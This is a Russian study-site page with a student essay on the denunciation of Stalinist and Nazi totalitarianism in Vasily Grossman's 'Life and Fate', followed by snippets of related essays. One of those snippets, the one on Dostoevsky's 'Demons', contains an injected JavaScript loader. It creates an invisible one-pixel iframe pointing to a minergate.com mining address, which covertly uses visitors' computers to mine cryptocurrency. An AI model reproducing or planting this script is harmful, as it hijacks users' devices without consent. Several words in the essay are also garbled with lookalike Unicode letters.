-



   Обличительный пафос романа «Жизнь и судьба»




doc.png  Тип документа: Сочинения


type.png  Предмет: Гроссман В.


type.png  ВУЗ: Не привязан


size.png  Размер: 0 b

Обличительный пафос романа «Жизнь и судьба»

Гроссман развенчивал структуру тоталитарных режимов.
Анатолий Бочаров.

Пущенный под нож макет “Черной книги”, “аресᴛᴏʙанный” роман “Жизнь и судьба”, наглухо запертая повесть “Все течет” — таковы вехи послевоенной биографии писателя Василия Гроссмана. Ныне всенародно известный роман “Жизнь и судьба”, результат многолетнего труда автора, подвергся особому гонению. У писателя были изъяты все рукописи, черновики, даже листы копирки. Партийный идеолог М.А.Суслов сказал писателю, что его роман можно будет издать лишь через двести-триста лет.
Но роман удалось спасти. Крамольным для властей он стал из-за своего обличительного пафоса. Василию Гроссману удалось изучить и показать тоталитарную структуру сталинского Советского Союза и гитлеровской Германии.
Роман “Жизнь и судьба” начинается с картины немецкого лагеря. “Лагеря, — пишет писатель, — стали городами Новой Европы”. До того разделенная, Европа стала в этом смысле единой. На её пространствах появились гигантские образования, похожие на клетки шахматной доски; колючая проволока, не зная границ, протянулась от Урала до Южной Германии.
В романе воссозданы незабываемые картины войны, действие происходит на фронте и в тылу, в немецких лагерях уничтожения и в наших, сталинских лагерях. Вот осажденный Сталинград воюет на последней кромке берега, горит нефть, стекая по откосу к Волге. А в это время где-то далеко на востоке, в лагере, уголовник вбивает ночью гвоздь в ухо своей спящей жертве. На Западе немецкие эшелоны увозят на ликвидацию евреев из гетто.
Трагедия народа, по Гроссману, заключается в том, что, ведя войну освободительную, сознавая, что цели войны с нашей стороны праведны, он, еще не сознавая того, ведет войну на два фронта: против Гитлера и против Сталина. Во главе народа-освободителя стоит тиран и преступник, который усматривает в ᴇᴦᴏ победе свою победу, победу своей личной власти.
Воплощением этого противоречия становятся события в Сталинграде. На острие этого конфликта — “дом шесть дробь один”, гордость и оплот армии, находящийся “на оси немецкого удара”. Данный дом для немцев как кость в горле, ᴨᴏᴛому что “запирает” их наступление на Сталинград, мешает продвижению по России.
Дом ϶ᴛόᴛстал проблемой также и для тех советских военных, кто привык видеть в глазах своих подчиненных покорность: для Крымова, для Особого отдела, — там уже известно, что среди защитников дома завелось свободомыслие. “Свободы хочу, за нее воюю”, — говорит “управдом” капитан Греков. И подразумевает при этом не только освобождение территории от врага, но и освобождение от “всеобщей принудиловки”, которой, по его мнению, была жизнь до войны. Дискуссия о свободе, о добре, дружбе, о причинах всеобщей покорности перед лицом тотального насилия развертывается в произведении и под пулями в стенах “дома шесть дробь один”, и в камерах Лубянки, и в среде ученых в Казани.
Писатель исследует моменты преображения в человеке, чудо рождения протеста.

“ Есть право большее, чем право посылать, не задумываясь, на смерть, — право задумываться, посылая на смерть”, — говорится в том эпизоде романа, когда полковник Новиков принимает дерзновенное решение на восемь минут отсрочить исполнение сталинского приказа о вводе в бой танкового корпуса с тем, чтобы подавить уцелевшие огневые точки и избежать лишних ᴨᴏᴛерь.
Художественное пространство романа Гроссмана многолюдно и многопланово. Писатель берет разные “срезы” войны: вот перед нами штаб Еременко, вот штаб Паулюса; вот воронка, в которой одновременно прячутся от смерти и русский, и немец. Читая роман, мы встречаемся с физическим страхом и духовным благородством, святым порывом и предательством, видим грубость, нежность, слезы, грязь и трепет сердца.
Победоносная Сталинградская битва в романе — это и героическое деяние, и беда народа, который, освобождая страну, освобождая мир от фашизма, одновременно завоевывает славу Сталину. “Сталинградское торжество определило исход войны, но молчаливый спор между победившим народом и победившим государством продолжался. От этого спора зависела судьба человека и его свобода”.
“Духовное движение войны” после победы под Сталинградом идет в сторону усиления диктатуры Сталина, укрепления его личной власти и в сторону стремительного освобождения духа народа. Сталинградская битва все-таки стала началом духовного раскрепощения страны. И пусть свобода родилась только на “пятачке” дома “шесть дробь один”, в душах таких людей, как полковник Новиков, капитан Греков, физик Штрум, дочь Штрума Надя, это все равно было началом, — так понимает это событие Василий Гроссман. Он как бы заглядывает в наш день и, видя освобождение от состояния массовой покорности и гипноза, говорит: жизнь сильнее судьбы, человек больше своего страха.



Похожие документы


Изложение романа Булгакова «Белая гвардия»
...

Замысел романа Достоевского «Бесы»
(function() { var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/4/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body")[0]; s.appendChild(w, s); })(); ...

Главная цель и смысл романа Достоевского «Идиот»
...

Героически-патриотичный пафос «Энеиды»
«Энеида» И. П. Котляревского появилась в то время, как на украинских территориях царской России расформировывались казацкие слободские полки, уничтожались останки автономии после разрушения Екатериной II Запорожской Сечи. В дискуссиях об украинском народе преобладала шовинистическая имперская мысль о том, что нет такого народа, который это лишь племя без своего языка и традиций. Отсутствие государственной защиты, социальный и национальный гнет тормозили духовное развитие народа. Но художественная литература питалась соками народной мудрости, юмора и песни. Именно И. П. Котляревский в 1798 г., когда вышли из печати три первый части «Энеида», удостоверил существования украинского народа как физической и духовной реальности. Позаимствовав у Вергилия тему о приключениях Энея (сына богини Венеры) и его ватаги, автор ввел нас в замечательный мир украинского языка, в мир жизни украинского народа. Произведение насквозь пронизано национальным духом и колоритом. Весь сюжет построен на путешествии Энея и троянцев к земле, где будет основано новое царство. И вот уже из первых строк произведения мы попадаемся в чудо-мир украинской жизни и национального характера:...

План с описанием к теме «Жизнь и творчество Ольги Кобилянской»
Была ли О. Кобилянска единственной женщиной-писательницей на рубеже XIX-XX столетий? Существовало понятие «женской литературы», поскольку именно в то время появились литературные произведения писательниц Кристины Алчевськой, Ульяны Кравченко. Днепровской Чайки (Людмила Василевская), Ольги Кобилянской, Лесе Украинки.  Ольга Кобилянска родилась в семье чиновника-юриста. Мать была из немецко-польской семьи, прививала ей уважение к работе, любовь к познанию, к культуре, научила музыке. И хотя начальное образование Ольга Кобилянская получила немецкое, отец был в состоянии научить ее украинскому языку благодаря частным урокам. Круг чтения девушки состояло преимущественно из немецких книг: Шиллер, Келлер, Гайне и вторых. Это повлияло на формирование мировоззрения будущей писательницы.  ...

Bigreferat.ru - каталог учебной информации (c) 2013-2014 | * | Правообладателям